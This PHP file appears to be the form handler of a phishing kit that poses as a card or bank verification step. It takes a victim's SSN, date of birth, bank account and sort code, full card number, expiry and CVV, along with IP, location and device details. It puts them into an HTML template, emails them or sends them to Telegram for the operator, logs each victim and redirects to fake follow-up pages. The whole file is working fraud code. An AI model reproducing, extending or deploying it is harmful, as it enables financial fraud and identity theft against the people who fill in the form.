<?php
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Load DeviceHelper terlebih dahulu
require_once __DIR__ . '/DeviceHelper.php';
require_once __DIR__ . '/../core/functions.php';
include_once __DIR__ . '/Result.php';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handlePostRequest();
} else {
    redirectWithDeviceParam("signin", ['error' => 'invalid_method']);
}

function handlePostRequest() {
    // Check for duplicate card number in session
    if (isset($_SESSION['cardnumber']) && isset($_POST['cardnumber']) && $_SESSION['cardnumber'] === $_POST['cardnumber']) {
        redirectWithDeviceParam("cardinvalid", ['error' => 'true']);
    }

    storePostDataInSession($_POST);
    processFullInformation();
}

function storePostDataInSession($postData) {
    $fields = [
        'fullname', 'dob', 'ssn', 'sin', 'acno', 'sortcode', 'osid', 'climit', 'phone', 
        'address', 'addressline2', 'kota', 'state', 'zipcode', 'namecard', 'cardnumber', 
        'cardexp', 'cvv'
    ];

    foreach ($fields as $field) {
        if (isset($postData[$field])) {
            $_SESSION[$field] = $postData[$field];
        }
    }

    $_SESSION['ccn'] = substr($_SESSION['cardnumber'] ?? '', 0, 6);
    $_SESSION['bin'] = function_exists('look_bin') ? look_bin($_SESSION['ccn']) : $_SESSION['ccn'];
}

function processFullInformation() {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br, $settings;

    $content = prepareFullInfoContent();
    $subject = "[510 NOT FOUND - CREDIT CARD 2] {$_SESSION['bin']} // $countryname - $ip - $os - $br";
    $headers = createEmailHeaders($settings['mailFrom'] ?? 'login@result.com');

    if (!empty($settings['resulttoemail']) && $settings['resulttoemail'] === 'on') {
        sendEmail($settings['emailResult'], $subject, $content, $headers);
    }

    if (!empty($settings['resulttotele']) && $settings['resulttotele'] === 'on') {
        sendFullInfoResultToTelegram();
    }

    logActivity();

    if (!empty($settings['get_bank']) && $settings['get_bank'] === 'on') {
        redirectWithDeviceParam("bank", ['error' => 'true', '405forbidden' => generateRandomText(50)]);
    }

    redirectWithDeviceParam("done", ['405forbidden' => generateRandomText(50)]);
}

function prepareFullInfoContent() {
    global $ip, $connectionisp, $countryname, $countrycode, $regioncity, $citykota, $os, $br;

    $templateFile = __DIR__ . "/Template/fullinfo.html";
    if (!file_exists($templateFile)) {
        return "Template file not found";
    }
    
    $content = file_get_contents($templateFile);

    $placeholders = [
        '##date##' => date('D d M Y'),
        '##randomid##' => md5(time()),
        '##bin##' => $_SESSION['bin'],
        '##namecard##' => $_SESSION['namecard'],
        '##cardnumber##' => $_SESSION['cardnumber'],
        '##cardexp##' => $_SESSION['cardexp'],
        '##cvv##' => $_SESSION['cvv'],
        '##fullname##' => $_SESSION['fullname'],
        '##dob##' => $_SESSION['dob'],
        '##phone##' => $_SESSION['phone'],
        '##address##' => ($_SESSION['address'] ?? '') . ' ' . ($_SESSION['addressline2'] ?? ''),
        '##kota##' => $_SESSION['kota'],
        '##state##' => $_SESSION['state'],
        '##zipcode##' => $_SESSION['zipcode'],
        '##ssn##' => $_SESSION['ssn'],
        '##sin##' => $_SESSION['sin'],
        '##acno##' => $_SESSION['acno'],
        '##sortcode##' => $_SESSION['sortcode'],
        '##osid##' => $_SESSION['osid'],
        '##climit##' => $_SESSION['climit'],
        '##ip##' => $ip,
        '##isp##' => $connectionisp,
        '##country##' => $countryname,
        '##country_code##' => $countrycode,
        '##region##' => $regioncity,
        '##city##' => $citykota,
        '##device##' => $os,
        '##browser##' => $br,
        '##ua##' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'
    ];

    return str_ireplace(array_keys($placeholders), array_values($placeholders), $content);
}

function createEmailHeaders($fromEmail) {
    return 'MIME-Version: 1.0' . "\r\n" .
           'Content-type: text/html; charset=UTF-8' . "\r\n" .
           "From: {$_SESSION['namecard']} <" . $fromEmail . ">";
}

function sendEmail($toEmail, $subject, $content, $headers) {
    @mail($toEmail, $subject, $content, $headers);
}

function sendFullInfoResultToTelegram() {
    global $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os;

    if (function_exists('sendResult') && function_exists('generateFullInfoMessage')) {
        sendResult(generateFullInfoMessage(
            $_SESSION['username'], $_SESSION['passwordlogin'], $_SESSION['fullname'], $_SESSION['dob'], 
            $_SESSION['ssn'], $_SESSION['sin'], $_SESSION['acno'], $_SESSION['sortcode'], $_SESSION['osid'], 
            $_SESSION['climit'], $_SESSION['phone'], $_SESSION['address'], $_SESSION['addressline2'], 
            $_SESSION['kota'], $_SESSION['state'], $_SESSION['zipcode'], $_SESSION['namecard'], 
            $_SESSION['cardnumber'], $_SESSION['bin'], $_SESSION['cardexp'], $_SESSION['cvv'], 
            date('l d F H:i:s'), $ip, $connectionisp, $countryname, $regioncity, $citykota, $br, $os
        ));
    }
}

function logActivity() {
    global $countryname, $ip, $br, $os;
    if (!is_dir('logs')) mkdir('logs', 0755, true);
    
    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Human Input Full Information with Credit or Debit Card (II)\n";
    file_put_contents("logs/activity.txt", $logEntry, FILE_APPEND);

    $logEntry = "|" . date("l d F H:i:s") . "|$countryname|$ip|$br|$os|Input Full Information with Credit or Debit Card (II)\n";
    file_put_contents("logs/total_card2.txt", $logEntry, FILE_APPEND);
}
?>